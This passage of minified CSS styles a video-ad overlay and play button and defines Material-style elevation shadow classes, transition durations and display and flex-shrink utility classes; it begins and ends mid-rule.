path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-3:hover{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-4:hover{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-5:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-6:hover{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-7:hover{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-8:hover{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-9:hover{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-10:hover{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-11:hover{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-12:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-13:hover{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-14:hover{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-15:hover{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-16:hover{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-17:hover{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-18:hover{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-19:hover{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-20:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-21:hover{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-22:hover{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-23:hover{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-24:hover{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-0,.device-desktop .active-state.elevation-pressed-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.active-state.elevation-pressed-1,.device-desktop .active-state.elevation-pressed-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-2,.device-desktop .active-state.elevation-pressed-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-3,.device-desktop .active-state.elevation-pressed-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-4,.device-desktop .active-state.elevation-pressed-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-5,.device-desktop .active-state.elevation-pressed-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-6,.device-desktop .active-state.elevation-pressed-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.active-state.elevation-pressed-7,.device-desktop .active-state.elevation-pressed-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-8,.device-desktop .active-state.elevation-pressed-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-9,.device-desktop .active-state.elevation-pressed-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-10,.device-desktop .active-state.elevation-pressed-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-11,.device-desktop .active-state.elevation-pressed-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-12,.device-desktop .active-state.elevation-pressed-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-13,.device-desktop .active-state.elevation-pressed-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-14,.device-desktop .active-state.elevation-pressed-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-15,.device-desktop .active-state.elevation-pressed-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-16,.device-desktop .active-state.elevation-pressed-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-17,.device-desktop .active-state.elevation-pressed-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-18,.device-desktop .active-state.elevation-pressed-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-19,.device-desktop .active-state.elevation-pressed-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-20,.device-desktop .active-state.elevation-pressed-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-21,.device-desktop .active-state.elevation-pressed-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-22,.device-desktop .active-state.elevation-pressed-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-23,.device-desktop .active-state.elevation-pressed-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.active-state.elevation-pressed-24,.device-desktop .active-state.elevation-pressed-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.elevation-transition-100{-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition,.elevation-transition-200{-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-300{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-400{-webkit-transition-duration:.4s;transition-duration:.4s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.elevation-transition-500{-webkit-transition-duration:.5s;transition-duration:.5s;-webkit-transition-property:-webkit-box-shadow;transition-property:-webkit-box-shadow;transition-property:box-shadow;transition-property:box-shadow,-webkit-box-shadow}.display-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.display-block{display:block!important}.display-inline-flex{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.display-inline-block{display:inline-block!important}.display-inline{display:inline!important}.display-none{display:none!important}.flex-shrink-0{-webkit-flex-shrink:0!important;-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-webkit-flex-shrink:1!important;-ms-flex-negative:1!important;flex-shrink:1!important}.flex-shrink-2{-webkit-flex-shrink:2!important;-ms-flex-negative:2!important;flex-shrink:2!important}.flex-shrink-3{-webkit-flex-shrink:3!important;-ms-flex-negative:3!important;flex-shrink:3!important}.flex-shrink-4{-webkit-flex-shrink:4!important;-ms-flex-negative:4!important;flex-shrink:4!important}.flex-shrink-5{-webkit-flex-shrink: